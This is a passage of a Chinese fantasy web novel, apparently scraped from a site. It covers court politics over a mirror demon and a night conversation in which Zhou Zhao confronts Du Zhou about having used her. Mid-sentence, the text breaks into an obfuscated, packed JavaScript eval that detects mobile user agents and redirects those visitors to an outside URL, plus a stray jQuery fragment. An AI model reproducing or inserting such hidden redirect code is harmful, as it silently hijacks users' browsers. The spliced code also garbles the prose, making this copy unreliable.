63. 冷吗
作品:《亡国君是白月光》 小皇帝仿佛只听到“陷害”二字,急切问道:“丞相,你说静婉是无辜的?”
丞相答道:“贵妃娘娘久居深宫从未踏出宫门,怎么可能害人!”
小皇帝又扭头看向渡舟,一脸天真问道:“皇叔,丞相说的是真的吗?”
渡舟语气不善:“你说呢?”
这回轮到陆野萍听不下去了,俯身拜道:“圣上可愿听下官一言。”
小皇帝道:“陆爱卿请讲。”
陆野萍说道:“贵妃确是镜妖不假,杀人偿命,天经地义。再说一只妖物,扒了那层美貌人皮,其实是吃人不吐骨头的邪祟,十分危险。圣上是一国之君,更应保重龙体才是。”
“陆爱卿继续。”
陆爱卿缓了口气,看了渡舟一眼,道:“至于牵机营……目无君父,只手遮天,长此以往朝纲必乱。臣以为,当重罚。”
丞相附和道:“陆大人说得对!就算真是镜妖,那也是国师跟陆大人抓来的,牵机营亦有办事不力之嫌。”
小皇帝转向沈云起,问道:“国师怎么看?”
“……”沈云起低着头道,“全凭圣上裁断。”
让他裁断,赵允城反倒六神无主了,一会儿看看底下的陆轻苹,一会儿看看渡舟,最后将目光又落在周昭身上,冷不丁道:“你说。”
周昭上辈子杀过的人,兴许比赵允城见过的人都多,她登基后一度以铁血手腕推行新政,朝堂之上的弯弯绕于周昭而言,简直是家常便饭。
周昭故作思索地沉吟片刻,微笑道:“小民只知道,圣上被妖邪蒙蔽,发现后为民除妖,乃天下之幸事。”
赵允城满意点头,又问渡舟:“皇叔以为如何?此次抓那镜妖,虽然交给皇叔在办,但抓来邪祟的到底是陆大人……”
渡舟淡淡道:“随你。”
丞相适时进言道:“圣上,老臣以为,应当立即收回牵机营掌管九洲城边防之兵权!”
赵允城不说好也不说不好,还是问渡舟:“皇叔,兵权该交给谁?”
渡舟看上去对什么都毫无兴趣,还是道:“随你。”
赵允城方才问得恳切,此刻得了答案,又笑道:“那就交给陆爱卿吧。即日起,你就是禁军总督。”
到底是年轻了,心急了些,周昭想。
“这……”陆轻苹还要推辞,赵允城却摆手示意他莫要再说。
渡舟听到此处站起身,赵允城示意高公公递上大氅,道:“皇叔慢走。”
众人退下,出了宫殿,一阵冷风吹在身上。
周昭打了个哆嗦,一只带着点儿微末体温的大氅忽然落在她肩上,渡舟毫不避讳地走到她面前,低着头一言不发将衣带系好。
陆轻苹经过之时,神情复杂地看了一眼,后知后觉自己是被周昭摆了第二道,于是头也不回地走了。
渡舟将周昭裹得严严实实,末了抬头看她一眼,轻轻叹了口气,说道:“夜里黑,我牵着你走。”
渡舟说完,隔着衣袖握住周昭手腕,不算逾矩,周昭却觉得腕上皮肤滚烫。不知是刚才在殿内待久了闷着了,还是又想起幻境中的荒唐事来。
那到底是真的还是假的?
若是真的,那人到底是不是……
周昭心烦意乱,又不好直接问渡舟,犹豫间脚下已经迈开步子再无回头路,只好由着渡舟牵着,在这沉寂而又偌大的皇宫里缓慢地走。
渡舟既没过问周昭为什么要避过牵机营去找陆轻苹,也没过问周昭为什么全都想起来了却要装傻。
周昭不难猜渡舟一定早就看出来了,彼时没问,现在更不会再问了。
不过周昭顶着上辈子这张脸被当场抓包,总归有点尴尬,因此不好说什么。
走了阵子,许是太沉默,渡舟缓缓开口道:“赵允城扮猪吃老虎,跟丞相一个唱红脸一个唱白脸,这回也怪我考虑不周……”
周昭自然也看出小皇帝心思不纯,但这事儿要看怎么想。
如果站在陆轻苹之类清流来看,牵机营就是国之祸害枕边猛虎。
如果从利国利民来说,据周昭所知牵机营也没干什么坏事,顶多是渡舟本人行事出格不加收敛。
“牵机营被夺了边防兵权,下一步,皇帝估计要把矛头对准你了。”
渡舟满不在乎道:“随便,赵允城是我看着长大的小子,虽然翅膀硬了,还能飞到哪儿去。”
周昭心说那可不一定,转开话题道:“镜妖抓到了,人还有得救吗?”
渡舟道:“只要能找到镜妖藏起来的镜子,也许有救。我留了人在宫里,最晚天一亮会有结果。”
牵机营能只手遮天,宫里自然有渡舟的人。周昭不便过问,渡舟想了想又补充道:“皇城里水浑。”
言下之意,是让周昭莫要蹚这趟浑水。
周昭含糊不清地嗯了一声,渡舟又道:“还冷吗?”
“不冷。”
“……我是问,那年汴江的水,殿下如今还觉得冷吗?”
——到底是说回从前。
这种感觉很奇怪。
明明渡舟跟她并非多亲的人,但好歹隔着千百年光阴,如今留下的也只有渡舟。
如今渡舟不过问她一句“汴江的水还冷吗”,周昭喉头却情难自禁涌上一股酸意,直冲眼眶底下。
渡舟小心牵着她,在月光底下一边走,一边自顾自说低声说道:“……殿下,你膝盖不好,那是经年不治的旧伤,我一时半会儿也没法子根治。不过总能治好,但我能治,也经不住殿下不爱惜。”
渡舟一语双关,想着周昭那么聪明一个人,自然能听明白。
但听不听明白是一回事儿,听不听得进去又是一回事儿。
周昭一直低着头不吭声,渡舟又说:“往后别再给人跪着了,殿下……你是那么金贵的一个人。”
他后半句话有些沙哑,像是从喉咙里磨出来似的。周昭停下脚步,抬起眸子,脸上挂着这些时日装久了的假笑,淡淡道:“十六,你当年是不是利用我?”
她问得突然,渡舟跟着停步,虽然是另一张陌生的皮,但那双眼睛里的东西总不会变。
渡舟沉默良久,点了点头。
周昭本以为早就心硬如铁,还是有什么地方忍不住针扎似的瑟缩了一下。
虽然上辈子就知道,渡舟接近她是为了她那一身毕方神血,但猜测总不是真的,还留有余地,渡舟却亲自把这点儿余地给踩死了。
“……所以,现在也是吗?”周昭抽回手,假笑显得有些凄凉,“可我已经没有神血,如你所说,血流干了。”
“……”渡舟眸光微暗,“殿下原来是这么看我的。”
周昭道:“我怎么看,不重要。十六,好歹相识一场。不管你从前为什么利用我,或是如今也还要利
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845509|184482||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
用,我总记着你曾救我性命。所以我不在乎,我们两清了。不过……”
周昭一口气说完,心里有些莫名发堵,停顿片刻,才平静道:“十六,你不该将我拉回这世道,我是该死的人,别平白污了这人间清白。还有,别再叫我殿下......周昭早死了。”
“……重要。”
“什么?”
“……没什么。”渡舟摇了摇头,脸色不大好看。
这一夜实在太漫长,周昭在床上辗转反侧,终于捱到天亮。
她估摸着时间也该到了,刚要推门,却迎面撞上渡舟。渡舟正欲扣门的手还停在半空,二人对视一眼,都很默契地假装昨晚无事发生。
“睡得好不好?”
“镜子都找到了?”
二人异口同声,渡舟点点头,说道:“我带你去。”
皇城守卫虽然换了波新人,渡舟却还是来去自如,哪怕是诏狱也想进就进。
周昭也是看了才知道,皇城有一处专门关押妖物之类的诏狱。因为是妖,关押之所靠的是法阵枷锁,守备并不森严。
牢房早站着一人候着,周昭瞧那人背影熟悉,待转过身来,果然是旧相识。
上官合了折扇,冲周昭眨眨眼睛,道:“主君,镜子都找到了。”
折扇指了指隔壁,里面堆着五花八门几十样“镜子”。
“大人真厉害。”角落里传来一声娇笑,镜妖一身破破烂烂贵妃宫装,美艳的脸上还残留着些许少女的天真。
渡舟没有理会,转而走向隔壁,略扫一眼,将腰间昆仲抽出浮在半空。
只见他横箫身前,手指在两只箫孔上交替按了按,昆仲阵阵短音嗡鸣,青白之中却透出丝丝缕缕的红。
少顷,无数花瓣自昆仲飞出,化作一团白光飞入镜中不见了。
原来这骨箫是这么用的......
周昭不由问道:“花瓣怎么救人呢?”
“碰碰运气。”渡舟解释道,“这些花瓣能代替我进入幻境,将幻境之中一切能倒影之物打碎。届时如果人还活着,那就有救。”
说完,渡舟闭上眼睛。
昆仲颜色愈发鲜红,几乎看不见原本的青白之色。
周昭退到一旁,小声问道:“上官大人最近很忙吗?好久不见你了。”
上官笑了笑,神神秘秘道:“帮你找贺金牙。”
“找到了?”
“那是自然。”上官又道,“你同主君一道来的,他没告诉你吗?就在昨夜......”
渡舟睁开眼睛,二人皆住了口。
昆仲又恢复本来的颜色落回渡舟掌心,周昭见渡舟脚边散落着许多花瓣,颜色发黑悉数枯萎,想必这救人的法门会耗费渡舟不少法力。
渡舟收了昆仲,道:“一半一半。”
上官看了眼镜妖,叹息道:“能救下一半也好,时间太久了。”
渡舟转身道:“要看怎么算。如果活着就算,那就是一半一半。”
周昭问道:“什么意思?”
隔壁镜妖突然发笑,渡舟充耳不闻,继续说:“意思是,活着的人都失了魂魄,找不回来。”
“哈哈哈哈,我还当妖主大人多大的能耐,原来也有找不回魂魄的时候。”镜妖一边玩弄手中发丝,一边嘲弄地看向渡舟手中的骨箫,“你那根骨箫多出来的第九孔,不是能招魂吗?”

